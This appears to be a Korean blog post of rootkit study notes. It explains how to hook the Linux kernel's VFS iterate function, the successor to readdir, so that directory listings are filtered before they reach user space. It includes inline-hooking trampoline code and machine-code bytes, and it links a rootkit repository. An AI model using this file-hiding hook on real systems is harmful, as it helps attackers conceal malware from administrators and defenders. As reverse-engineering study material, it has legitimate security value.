본문 바로가기

reversing/rootkit

rootkit - vfs hooking [readdir,iterate]

SMALL

루트킷 자료를 검색하다보면,  인터넷 자료를 뒤지다 보면 file operation에 readdir 함수가 존재한다.

 

하지만 리눅스 커널 3.11 버전 이후 부터는 readdir 함수가 사라졌다. 그래서 혹시나 되는지 싶어서 시도해본다.

 

대신에 int (*iterate) (struct file *, struct dir_context *); 라는 함수가 대신한다.

 

해당 함수의 원형은 /usr/src/kernel_version/include/linux/fs.h 확인하면 된다.

 

 

 

그러면 이제 저 함수의 인자를 살펴본다. 살펴보면 struct file* 는 우리가 아는 내용이다.

struct dir_context* 를 살펴보면 우리가 원하는 부분을 찾을수 있다.

struct dir_context;

/*context 구조체*/

struct dir_context {

const filldir_t actor;

loff_t pos;

};

 

/*filldir 함수 원형*/

typedef int (*filldir_t)(struct dir_context *, const char *, int, loff_t, u64,  unsigned);

 

callback 함수filldir 함수를 확인할 수 있기 때문이다. 이 부분이 왜 중요한지 알아본다.

filldir함수의 코드를 간단하게 살펴본다.

 

먼저 인자로 dirent 데이터를 유저모드로 보내주는 역활을 하기 때문이다.

__put_user 함수를 이용해서 유저 모드로 데이터를 복사하고 있다. 그렇기 때문에 유저 모드로 데이터가 전달되기 전에 사전에 필터링을 진행

 

이제 타깃? 조사를 어느정도 했으니..

해당 file_operation table을 수정할 수있는지 확인해보면...

안된다...

대신 함수가 가리키고 있는 데이터에 새로운 후킹 기법으로 진행한다.

 

https://github.com/jhong3842/linux_rootkit

[인라인 후킹]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void ready_hooking(void)
{
 
 
    barrier();
 
 
    /*ready to write data*/
    memcpy(hinfo.write_data,jacked_code, csize);
    
    /*write func addr data*/
    *(psize*)&hinfo.write_data[poff] = (psize)my_iterate;
 
    /*backup data*/    
    memcpy(hinfo.back_data, hinfo.org_pointer, csize);
 
 
    barrier();
}
 
/*inline function hooking gadget*/
 
#if defined(__i386__)
#define csize 6 /* code size */
#define jacked_code "\x68\x00\x00\x00\x00\xc3" /* push address, addr, ret */
#define poff 1 /* pointer offset to write address to */
#else
#define csize 12 /* code size */
/* mov address to register rax, jmp rax. for normal x64 convention */
#define jacked_code "\x48\x8b\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0"
#define poff 2
#endif
/*-------------------------------*/
 
cs

[참고] http://elixir.free-electrons.com/linux/latest/source/include/linux/fs.h#L1616

 

LIST

'reversing > rootkit' 카테고리의 다른 글

rootkit - root [2]  (0) 2017.06.13
rootkit - root [1]  (0) 2017.06.02
rootkit - 자료정리 task  (0) 2017.05.11
rootkit- syscall [2]  (0) 2017.05.04
rootkit- syscall [1]  (0) 2017.05.04